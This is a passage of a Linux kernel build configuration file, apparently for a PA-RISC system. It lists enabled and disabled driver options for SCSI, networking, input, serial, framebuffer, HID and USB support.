CONFIG_BLK_DEV_SIIMAGE=y
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
# CONFIG_SCSI_NETLINK is not set
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_CHR_DEV_SCH is not set
CONFIG_SCSI_MULTI_LUN=y
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_SCSI_BNX2X_FCOE is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_UFSHCD is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_LASI700 is not set
# CONFIG_SCSI_STEX is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_ZALON is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_BFA_FC is not set
# CONFIG_SCSI_CHELSIO_FCOE is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
# CONFIG_ATA is not set
CONFIG_MD=y
# CONFIG_BLK_DEV_MD is not set
CONFIG_BLK_DEV_DM=y
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
# CONFIG_DM_THIN_PROVISIONING is not set
# CONFIG_DM_CACHE is not set
CONFIG_DM_MIRROR=m
# CONFIG_DM_RAID is not set
# CONFIG_DM_LOG_USERSPACE is not set
CONFIG_DM_ZERO=m
# CONFIG_DM_MULTIPATH is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_UEVENT is not set
# CONFIG_DM_FLAKEY is not set
# CONFIG_DM_VERITY is not set
# CONFIG_TARGET_CORE is not set
CONFIG_FUSION=y
CONFIG_FUSION_SPI=y
# CONFIG_FUSION_FC is not set
# CONFIG_FUSION_SAS is not set
CONFIG_FUSION_MAX_SGE=128
# CONFIG_FUSION_CTL is not set
# CONFIG_FUSION_LOGGING is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_NET_CORE=y
# CONFIG_BONDING is not set
# CONFIG_DUMMY is not set
# CONFIG_EQUALIZER is not set
# CONFIG_NET_FC is not set
CONFIG_MII=m
# CONFIG_NET_TEAM is not set
# CONFIG_MACVLAN is not set
# CONFIG_VXLAN is not set
CONFIG_NETCONSOLE=m
CONFIG_NETPOLL=y
# CONFIG_NETPOLL_TRAP is not set
CONFIG_NET_POLL_CONTROLLER=y
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set

#
# CAIF transport drivers
#

#
# Distributed Switch Architecture drivers
#
# CONFIG_NET_DSA_MV88E6XXX is not set
# CONFIG_NET_DSA_MV88E6060 is not set
# CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set
# CONFIG_NET_DSA_MV88E6131 is not set
# CONFIG_NET_DSA_MV88E6123_61_65 is not set
CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_ALTEON is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_NET_CADENCE is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_CALXEDA_XGMAC is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
# CONFIG_NET_VENDOR_CISCO is not set
# CONFIG_DNET is not set
# CONFIG_NET_VENDOR_DEC is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
# CONFIG_NET_VENDOR_EXAR is not set
# CONFIG_NET_VENDOR_HP is not set
CONFIG_NET_VENDOR_INTEL=y
# CONFIG_E100 is not set
CONFIG_E1000=m
# CONFIG_E1000E is not set
# CONFIG_IGB is not set
# CONFIG_IGBVF is not set
# CONFIG_IXGB is not set
# CONFIG_IXGBE is not set
# CONFIG_NET_VENDOR_I825XX is not set
# CONFIG_IP1000 is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_MARVELL is not set
# CONFIG_NET_VENDOR_MELLANOX is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_PACKET_ENGINE is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_SFC is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_NET_VENDOR_VIA is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
# CONFIG_AT803X_PHY is not set
# CONFIG_AMD_PHY is not set
# CONFIG_MARVELL_PHY is not set
# CONFIG_DAVICOM_PHY is not set
# CONFIG_QSEMI_PHY is not set
# CONFIG_LXT_PHY is not set
# CONFIG_CICADA_PHY is not set
# CONFIG_VITESSE_PHY is not set
# CONFIG_SMSC_PHY is not set
# CONFIG_BROADCOM_PHY is not set
# CONFIG_BCM87XX_PHY is not set
# CONFIG_ICPLUS_PHY is not set
# CONFIG_REALTEK_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_STE10XP is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_MICREL_PHY is not set
# CONFIG_MDIO_BITBANG is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_IPHETH is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set
# CONFIG_INPUT_MATRIXKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
CONFIG_INPUT_EVDEV=y
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ADP5588 is not set
# CONFIG_KEYBOARD_ADP5589 is not set
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_QT1070 is not set
# CONFIG_KEYBOARD_QT2160 is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_TCA6416 is not set
# CONFIG_KEYBOARD_TCA8418 is not set
CONFIG_KEYBOARD_HIL_OLD=y
# CONFIG_KEYBOARD_HIL is not set
# CONFIG_KEYBOARD_LM8333 is not set
# CONFIG_KEYBOARD_MAX7359 is not set
# CONFIG_KEYBOARD_MCS is not set
# CONFIG_KEYBOARD_MPR121 is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
# CONFIG_MOUSE_PS2 is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_CYAPA is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_SYNAPTICS_I2C is not set
# CONFIG_MOUSE_SYNAPTICS_USB is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
# CONFIG_SERIO_SERPORT is not set
CONFIG_SERIO_GSCPS2=y
# CONFIG_HP_SDC is not set
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
CONFIG_DEVKMEM=y

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
CONFIG_SERIAL_8250_RSA=y
# CONFIG_SERIAL_8250_DW is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MFD_HSU is not set
CONFIG_SERIAL_MUX=m
CONFIG_PDC_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_PCH_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
CONFIG_I2C=y
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_COMPAT=y
# CONFIG_I2C_CHARDEV is not set
# CONFIG_I2C_MUX is not set
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_ALGOBIT=y

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_I801 is not set
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_DESIGNWARE_PCI is not set
# CONFIG_I2C_EG20T is not set
# CONFIG_I2C_INTEL_MID is not set
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_PXA_PCI is not set
# CONFIG_I2C_SIMTEC is not set
# CONFIG_I2C_XILINX is not set

#
# External I2C/SMBus adapter drivers
#
# CONFIG_I2C_DIOLAN_U2C is not set
# CONFIG_I2C_PARPORT_LIGHT is not set
# CONFIG_I2C_TAOS_EVM is not set
# CONFIG_I2C_TINY_USB is not set

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_STUB is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# CONFIG_SPI is not set
# CONFIG_HSI is not set

#
# PPS support
#
# CONFIG_PPS is not set

#
# PPS generators support
#

#
# PTP clock support
#
# CONFIG_PTP_1588_CLOCK is not set

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
# CONFIG_PTP_1588_CLOCK_PCH is not set
CONFIG_GPIO_DEVRES=y
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_POWER_AVS is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
CONFIG_SSB=m
CONFIG_SSB_SPROM=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
# CONFIG_SSB_B43_PCI_BRIDGE is not set
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_88PM860X is not set
# CONFIG_MFD_88PM800 is not set
# CONFIG_MFD_88PM805 is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_MFD_RTSX_PCI is not set
# CONFIG_MFD_TI_AM335X_TSCADC is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_MFD_LM3533 is not set
# CONFIG_TPS6105X is not set
# CONFIG_TPS6507X is not set
# CONFIG_MFD_TPS65217 is not set
# CONFIG_MFD_TPS6586X is not set
# CONFIG_MFD_TPS80031 is not set
# CONFIG_TWL4030_CORE is not set
# CONFIG_TWL6040_CORE is not set
# CONFIG_MFD_STMPE is not set
# CONFIG_MFD_TC3589X is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_SMSC is not set
# CONFIG_PMIC_DA903X is not set
# CONFIG_MFD_DA9052_I2C is not set
# CONFIG_MFD_DA9055 is not set
# CONFIG_PMIC_ADP5520 is not set
# CONFIG_MFD_LP8788 is not set
# CONFIG_MFD_MAX77686 is not set
# CONFIG_MFD_MAX77693 is not set
# CONFIG_MFD_MAX8907 is not set
# CONFIG_MFD_MAX8925 is not set
# CONFIG_MFD_MAX8997 is not set
# CONFIG_MFD_MAX8998 is not set
# CONFIG_MFD_SEC_CORE is not set
# CONFIG_MFD_ARIZONA_I2C is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_WM831X_I2C is not set
# CONFIG_MFD_WM8350_I2C is not set
# CONFIG_MFD_WM8994 is not set
# CONFIG_MFD_PCF50633 is not set
# CONFIG_MFD_MC13XXX_I2C is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_LPC_SCH is not set
# CONFIG_LPC_ICH is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_MFD_WL1273_CORE is not set
# CONFIG_MFD_TPS65090 is not set
# CONFIG_MFD_RC5T583 is not set
# CONFIG_MFD_PALMAS is not set
# CONFIG_MFD_VIPERBOARD is not set
# CONFIG_MFD_RETU is not set
# CONFIG_MFD_AS3711 is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
CONFIG_AGP=y
# CONFIG_AGP_PARISC is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
CONFIG_FB=y
# CONFIG_FIRMWARE_EDID is not set
CONFIG_FB_DDC=y
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_FOREIGN_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_WMT_GE_ROPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
CONFIG_FB_BACKLIGHT=y
CONFIG_FB_MODE_HELPERS=y
CONFIG_FB_TILEBLITTING=y

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_I740 is not set
CONFIG_FB_MATROX=y
CONFIG_FB_MATROX_MILLENIUM=y
CONFIG_FB_MATROX_MYSTIQUE=y
CONFIG_FB_MATROX_G=y
# CONFIG_FB_MATROX_I2C is not set
CONFIG_FB_RADEON=y
CONFIG_FB_RADEON_I2C=y
CONFIG_FB_RADEON_BACKLIGHT=y
# CONFIG_FB_RADEON_DEBUG is not set
CONFIG_FB_ATY128=y
CONFIG_FB_ATY128_BACKLIGHT=y
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
CONFIG_FB_VOODOO1=y
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_SMSCUFX is not set
# CONFIG_FB_UDL is not set
# CONFIG_FB_GOLDFISH is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_BROADSHEET is not set
# CONFIG_FB_AUO_K190X is not set
# CONFIG_EXYNOS_VIDEO is not set
CONFIG_BACKLIGHT_LCD_SUPPORT=y
CONFIG_LCD_CLASS_DEVICE=m
# CONFIG_LCD_PLATFORM is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=y
CONFIG_BACKLIGHT_GENERIC=y
# CONFIG_BACKLIGHT_ADP8860 is not set
# CONFIG_BACKLIGHT_ADP8870 is not set
# CONFIG_BACKLIGHT_LM3630 is not set
# CONFIG_BACKLIGHT_LM3639 is not set
# CONFIG_BACKLIGHT_LP855X is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_CLUT224=y
CONFIG_LOGO_PARISC_CLUT224=y
# CONFIG_SOUND is not set

#
# HID support
#
CONFIG_HID=y
# CONFIG_HIDRAW is not set
# CONFIG_UHID is not set
CONFIG_HID_GENERIC=y

#
# Special HID drivers
#
CONFIG_HID_A4TECH=y
# CONFIG_HID_ACRUX is not set
CONFIG_HID_APPLE=y
# CONFIG_HID_AUREAL is not set
CONFIG_HID_BELKIN=y
CONFIG_HID_CHERRY=y
CONFIG_HID_CHICONY=y
CONFIG_HID_CYPRESS=y
CONFIG_HID_DRAGONRISE=y
# CONFIG_DRAGONRISE_FF is not set
# CONFIG_HID_EMS_FF is not set
CONFIG_HID_EZKEY=y
# CONFIG_HID_HOLTEK is not set
# CONFIG_HID_KEYTOUCH is not set
CONFIG_HID_KYE=y
# CONFIG_HID_UCLOGIC is not set
# CONFIG_HID_WALTOP is not set
CONFIG_HID_GYRATION=y
CONFIG_HID_TWINHAN=y
CONFIG_HID_KENSINGTON=y
# CONFIG_HID_LCPOWER is not set
# CONFIG_HID_LENOVO_TPKBD is not set
CONFIG_HID_LOGITECH=y
# CONFIG_HID_LOGITECH_DJ is not set
# CONFIG_LOGITECH_FF is not set
# CONFIG_LOGIRUMBLEPAD2_FF is not set
# CONFIG_LOGIG940_FF is not set
# CONFIG_LOGIWHEELS_FF is not set
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
# CONFIG_HID_MULTITOUCH is not set
CONFIG_HID_NTRIG=y
CONFIG_HID_ORTEK=y
CONFIG_HID_PANTHERLORD=y
# CONFIG_PANTHERLORD_FF is not set
CONFIG_HID_PETALYNX=y
# CONFIG_HID_PICOLCD is not set
# CONFIG_HID_PRIMAX is not set
# CONFIG_HID_ROCCAT is not set
# CONFIG_HID_SAITEK is not set
CONFIG_HID_SAMSUNG=y
CONFIG_HID_SONY=y
# CONFIG_HID_SPEEDLINK is not set
# CONFIG_HID_STEELSERIES is not set
CONFIG_HID_SUNPLUS=y
CONFIG_HID_GREENASIA=y
# CONFIG_GREENASIA_FF is not set
CONFIG_HID_SMARTJOYPLUS=y
# CONFIG_SMARTJOYPLUS_FF is not set
# CONFIG_HID_TIVO is not set
CONFIG_HID_TOPSEED=y
CONFIG_HID_THRUSTMASTER=y
# CONFIG_THRUSTMASTER_FF is not set
CONFIG_HID_ZEROPLUS=y
# CONFIG_ZEROPLUS_FF is not set
# CONFIG_HID_ZYDACRON is not set
# CONFIG_HID_SENSOR_HUB is not set

#
# USB HID support
#
CONFIG_USB_HID=y
# CONFIG_HID_PID is not set
CONFIG_USB_HIDDEV=y

#
# I2C HID support
#
# CONFIG_I2C_HID is not set
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB_ARCH_HAS_XHCI=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_COMMON=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB=y
CONFIG_USB_DEBUG=y
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_DWC3 is not set
# CONFIG_USB_MON is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
CONFIG_USB_EHCI_HCD=y
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set
# CONFIG_USB_EHCI_TT_NEWSCHED is not set
CONFIG_USB_EHCI_PCI=y
# CONFIG_USB_OXU210HP_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
CONFIG_USB_OHCI_HCD=y
# CONFIG_USB_OHCI_HCD_PLATFORM is not set
# CONFIG_USB_EHCI_HCD_PLATFORM is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
# CONFIG_USB_UHCI_HCD is not set
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_HCD_SSB is not set
# CONFIG_USB_CHIPIDEA is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=m
CONFIG_USB_STORAGE_DEBUG=y
# CONFIG_USB_STORAGE_REALTEK is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_STORAGE_ENE_UB6250 is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set

#
# USB port drivers
#
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_SISUSBVGA is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
